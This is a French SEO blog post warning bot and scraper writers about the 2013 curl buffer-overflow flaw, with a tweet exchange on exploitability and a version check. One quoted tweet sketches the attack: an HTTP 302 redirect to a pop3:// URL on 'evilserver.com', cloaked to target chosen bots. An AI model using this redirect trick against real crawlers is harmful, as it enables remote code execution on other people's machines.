curl bot revengeEh vous, les BH, les script kiddies, les codeurs du dimanche, les bidouilleurs PHP, les afficionados du bash, vous scrapez en Curl ?
(Moi aussi, je vous rassure 😛 )
Mauvaise, très mauvaise nouvelle, nous sommes tous (potentiellement) morts…

Pour ceux qui ne savent pas de quoi je parle, vous êtes sans doute pourtant concerné : Curl, c’est une librairie, surtout utilisée via PHP, qui permet de récupérer des pages html, du contenu sur un autre serveur…

En SEO, son usage est extrêmement (et c’est un euphémisme) répandu.
Quelques usages au hasard de cette librairie:

  • Scraper Google
  • Vérifier ses positions
  • Analyser les pages d’un site pour déterminer le type de plateforme
  • poster des {commentaires|trackback|articles|ping|} en automatique
  • extraire du contenu de pages html, de flux rss
  • publier sur des plateformes web 2.0
  • crawler un site

Une faille de Curl permet en effet une attaque de type « débordement de tampon ».
En français, ça veut dire que si vous avez une application qui utilise curl, un site malicieux peut casser votre bot ou pire, lui faire exécuter du code arbitraire (lire : le code qu’il veut).

Ouf, ça va, c’est pas la fin du monde.
Non, pas encore.

Le risque est toutefois bien réel. Si aujourd’hui il y a peu de chances que cela arrive « fréquemment », cette faille est désormais connue et documentée. Chinois, mafia, russes et consorts ne vont pas tarder à passer à la phase industrielle.
De même pour un admin que vous auriez chatouillé… je vois des bots qui me piquent des datas ou me spamment, hop je met en place une petite surprise…. c’est facile à faire….

La source : http://blog.volema.com/curl-rce.html


Si vous voulez une trad plus précise de la source avec le détail technique de la faille, dites ici et je ferai.

Edit: Après discussion avec @Beunwa, l’éleveur de bots par excellence, voici notre échange et quelques informations complémentaires (désolé, je ne présente pas les tweets « joliment »)
Benoit use et abuse de Curl, il suffit de regarder sa boite à outils seo netstorming, on voit vite qu’il en mange à tous les repas.

Beunwa: @SylvainDeaure tu aurais du creuser un peu plus sylvain, ça ne concerne que les protocoles pop3, smtp et imap
Sylvain: Yep, mais HTTP/1.0 302 Found Location: pop3://x:x@evilserver.com/ et http se fait pop. Selon impl. et config, ça suit. @Beunwa
B: mouais a ce moment la tu redirige tout le traffic… c’est pas exploitable
S: Associé à un cloaking sur user-agent, ref ou ip. Pas basique, mais exploitable de manière ciblée. ex sur pages interdites robot.txt
B: la on est plus dans l’industrialisation mais dans la frappe chirurgicale 🙂
B : les versions de curl impactées vont de la la 7.26 a la 7.28.1 http://curl.haxx.se/docs/adv_20130206.html
B: pour info debian n’est pas impactee car le paquet curl : 7.21 (nde: debian squeeze)

Merci Benoît pour ces détails !
Pour vérifier si vous êtes vulnérable, le plus rapide est donc de vérifier votre version curl.
en shell : curl –version
en php : un phpinfo() et vous recherchez la ligne curl libcurl/x.xx.x

< à 7.26 ou > à 7.28.1 et c’est bon.
Entre les deux, update 😉


2 commentaires sur “Tu scrapes en Curl ? T’es mort !

Les commentaires sont fermés.